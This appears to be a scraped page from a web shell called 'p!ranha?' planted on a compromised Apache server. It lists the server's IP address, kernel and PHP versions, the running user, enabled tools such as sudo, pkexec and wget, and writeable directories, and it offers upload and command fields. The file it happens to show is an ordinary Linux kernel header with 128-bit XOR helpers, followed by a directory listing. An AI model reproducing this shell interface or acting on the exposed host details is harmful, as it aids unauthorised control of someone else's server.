p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/crypto/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/crypto/b128ops.h
/* b128ops.h - common 128-bit block operations
 *
 * Copyright (c) 2003, Dr Brian Gladman, Worcester, UK.
 * Copyright (c) 2006, Rik Snel <rsnel@cube.dyndns.org>
 *
 * Based on Dr Brian Gladman's (GPL'd) work published at
 * http://fp.gladman.plus.com/cryptography_technology/index.htm
 * See the original copyright notice below.
 *
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the Free
 * Software Foundation; either version 2 of the License, or (at your option)
 * any later version.
 */
/*
 ---------------------------------------------------------------------------
 Copyright (c) 2003, Dr Brian Gladman, Worcester, UK.   All rights reserved.

 LICENSE TERMS

 The free distribution and use of this software in both source and binary
 form is allowed (with or without changes) provided that:

   1. distributions of this source code include the above copyright
      notice, this list of conditions and the following disclaimer;

   2. distributions in binary form include the above copyright
      notice, this list of conditions and the following disclaimer
      in the documentation and/or other associated materials;

   3. the copyright holder's name is not used to endorse products
      built using this software without specific written permission.

 ALTERNATIVELY, provided that this notice is retained in full, this product
 may be distributed under the terms of the GNU General Public License (GPL),
 in which case the provisions of the GPL apply INSTEAD OF those given above.

 DISCLAIMER

 This software is provided 'as is' with no explicit or implied warranties
 in respect of its properties, including, but not limited to, correctness
 and/or fitness for purpose.
 ---------------------------------------------------------------------------
 Issue Date: 13/06/2006
*/

#ifndef _CRYPTO_B128OPS_H
#define _CRYPTO_B128OPS_H

#include <linux/types.h>

typedef struct {
	u64 a, b;
} u128;

typedef struct {
	__be64 a, b;
} be128;

typedef struct {
	__le64 b, a;
} le128;

static inline void u128_xor(u128 *r, const u128 *p, const u128 *q)
{
	r->a = p->a ^ q->a;
	r->b = p->b ^ q->b;
}

static inline void be128_xor(be128 *r, const be128 *p, const be128 *q)
{
	u128_xor((u128 *)r, (u128 *)p, (u128 *)q);
}

static inline void le128_xor(le128 *r, const le128 *p, const le128 *q)
{
	u128_xor((u128 *)r, (u128 *)p, (u128 *)q);
}

#endif /* _CRYPTO_B128OPS_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:09
0 / 0
0755
internal
--
September 29 2025 07:01:15
0 / 0
0755
acompress.h
7.825 KB
November 06 2023 09:15:52
0 / 0
0644
aead.h
2.583 KB
November 06 2023 09:15:52
0 / 0
0644
aes.h
0.995 KB
November 06 2023 09:15:52
0 / 0
0644
akcipher.h
11.523 KB
November 06 2023 09:15:52
0 / 0
0644
algapi.h
10.815 KB
November 06 2023 09:15:52
0 / 0
0644
authenc.h
0.825 KB
November 06 2023 09:15:52
0 / 0
0644
b128ops.h
2.413 KB
November 06 2023 09:15:52
0 / 0
0644
blowfish.h
0.367 KB
November 06 2023 09:15:52
0 / 0
0644
cast5.h
0.538 KB
November 06 2023 09:15:52
0 / 0
0644
cast6.h
0.583 KB
November 06 2023 09:15:52
0 / 0
0644
cast_common.h
0.188 KB
November 06 2023 09:15:52
0 / 0
0644
chacha20.h
0.245 KB
November 06 2023 09:15:52
0 / 0
0644
compress.h
4.01 KB
November 06 2023 09:15:52
0 / 0
0644
cryptd.h
2.054 KB
November 06 2023 09:15:52
0 / 0
0644
crypto_wq.h
0.119 KB
November 06 2023 09:15:52
0 / 0
0644
ctr.h
0.512 KB
November 06 2023 09:15:52
0 / 0
0644
des.h
0.394 KB
November 06 2023 09:15:52
0 / 0
0644
dh.h
0.804 KB
November 06 2023 09:15:52
0 / 0
0644
drbg.h
8.791 KB
November 06 2023 09:15:52
0 / 0
0644
ecdh.h
0.825 KB
November 06 2023 09:15:52
0 / 0
0644
gcm.h
0.137 KB
November 06 2023 09:15:52
0 / 0
0644
gf128mul.h
8.083 KB
November 06 2023 09:15:52
0 / 0
0644
ghash.h
0.334 KB
November 06 2023 09:15:52
0 / 0
0644
hash.h
9.473 KB
November 06 2023 09:15:52
0 / 0
0644
hash_info.h
1.126 KB
November 06 2023 09:15:52
0 / 0
0644
hmac.h
0.131 KB
November 06 2023 09:15:52
0 / 0
0644
if_alg.h
2.288 KB
November 06 2023 09:15:52
0 / 0
0644
kpp.h
8.763 KB
November 06 2023 09:15:52
0 / 0
0644
lrw.h
1.18 KB
November 06 2023 09:15:52
0 / 0
0644
mcryptd.h
2.313 KB
November 06 2023 09:15:52
0 / 0
0644
md5.h
0.281 KB
November 06 2023 09:15:52
0 / 0
0644
padlock.h
0.634 KB
November 06 2023 09:15:52
0 / 0
0644
pcrypt.h
1.401 KB
November 06 2023 09:15:52
0 / 0
0644
pkcs7.h
0.946 KB
November 06 2023 09:15:52
0 / 0
0644
public_key.h
2.664 KB
November 06 2023 09:15:52
0 / 0
0644
rng.h
1.798 KB
November 06 2023 09:15:52
0 / 0
0644
scatterwalk.h
3.348 KB
November 06 2023 09:15:52
0 / 0
0644
serpent.h
0.657 KB
November 06 2023 09:15:52
0 / 0
0644
sha.h
2.656 KB
November 06 2023 09:15:52
0 / 0
0644
sha1_base.h
2.473 KB
November 06 2023 09:15:52
0 / 0
0644
sha256_base.h
3.026 KB
November 06 2023 09:15:52
0 / 0
0644
sha512_base.h
3.194 KB
November 06 2023 09:15:52
0 / 0
0644
skcipher.h
16.099 KB
November 06 2023 09:15:52
0 / 0
0644
twofish.h
0.699 KB
November 06 2023 09:15:52
0 / 0
0644
xts.h
1.187 KB
November 06 2023 09:15:52
0 / 0
0644